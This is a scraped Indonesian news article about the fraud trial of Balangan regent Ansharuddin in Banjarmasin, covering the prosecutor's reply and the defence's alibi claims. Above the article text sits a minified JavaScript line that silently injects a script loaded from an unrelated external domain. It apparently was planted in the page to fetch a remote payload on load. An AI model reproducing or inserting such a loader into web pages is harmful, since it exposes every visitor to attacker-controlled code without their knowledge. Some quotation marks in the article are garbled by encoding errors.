(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Sidang lanjutan kasus dugaan tindak pidana penipuan yang menyeret Bupati Balangan Ansharuddin dilanjutkan pada Kamis (5/12) di Pengadilan Negeri (PN) Banjarmasin. Agenda sidang kali ini menyampaikan tanggapan Jaksa Penuntut Umum (JPU) Pahrin Amirullah terhadap eksepsi yang disampaikan pada persidangan hari Senin (2/12) silam.
Sidang sendiri berlangsung cukup singkat, hanya 40 menit. Karena, agenda sidang hanyalah mendengarkan tanggapan JPU. Pahrin pun konsisten dengan tuntutannya terhadap Bupati Ansharuddin yang sebelumnya didakwa melangar pasal 378 KUHP dan pasal 372 KUHP tentang Penggelapan dan Penipuan.
“Tetap pada surat dkawaan,†kata Pahrin singkat sembari berlalu meninggalkan ruang persidangan.
Menanggapi tanggapan JPU yang konsisten dengan dakwaannya, Bupati Ansharuddin berharap kepada majelis hakim untuk berpatokan pada fakta-fakta yang ada. “Supaya benar-benar memberikan keputusan yang seadil-adilnya,†kata Ansharuddin, Kamis (5/12) siang.
Kuasa Hukum Ansharuddin, Muhammad Maulidi menambahkan, pihaknya menunggu selama satu pekan ke depan untuk putusan sela. Pihaknya menghormati proses persidangan dan apapun putusan sidang.
“Kita menghormati proses pengadilan, apapun putusanya. Apakah lanjut berjalan dengan menghadirkan saksi-saksi selanjutnya, dengan bukti-bukti dari kami, selama di putusan sela. Nanti majelis hakim akan mendengarkan eksepsi kami,†jelas Maulidi. Dirinya pun berharap, eksepsi kliennya diterima oleh majelis hakim.
Diberitakan sebelumnya, pada Senin (2/12) siang, pada sidang bupati Ansharuddin dengan agenda eksepsi dari Ansharuddin, Maulidi menuding dakwaan JPU kabur. “Dakwaan itu kabur, terkait dengan waktu yang tidak dicantumkan. Jam secara detail tidak dicantumkan. Itu yang menjadikan dakwaan kabur,†tegas Maulidi, Senin (2/12) lalu.
Dalam berita acara pemeriksaan, pelapor Dwi Putra Husnie bersama saksi mengaku adanya penyerahan dana sebesar Rp1 miliar. Maulidi membantah keterangan dari pelapor Dwi Putra Husnie yang mengatakan pada tanggal 2 April 2018 di mana pelapor bertemu dengan terdakwa Bupati Ansharuddin.
Padahal saat bersamaan, kliennya tengah berada di Balangan untuk menghadiri pelantikan 65 anggota Badan Permusyawaratan Desa (BPD) pada pukul 11:00 WITA. Sementara pada malam harinya menghadiri sholat hajat dan doa bersama pada Harjad Kabupaten Balangan.
Selain itu, dalam persidangan terungkap fakta bahwa pada 23 April 2018 pelapor mengaku menerima cek dari terdakwa Bupati Ansharuddin. “Padahal jelas dalam eksepsi kami, tanggal 23 April hingga 24 April 2018, klien kami saat itu berada di Jakarta dan bertemu dengan sejumlah tokoh salah satunya Habib Banua. Ini menjadi kekaburan,†kata Maulidi. (fikri)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.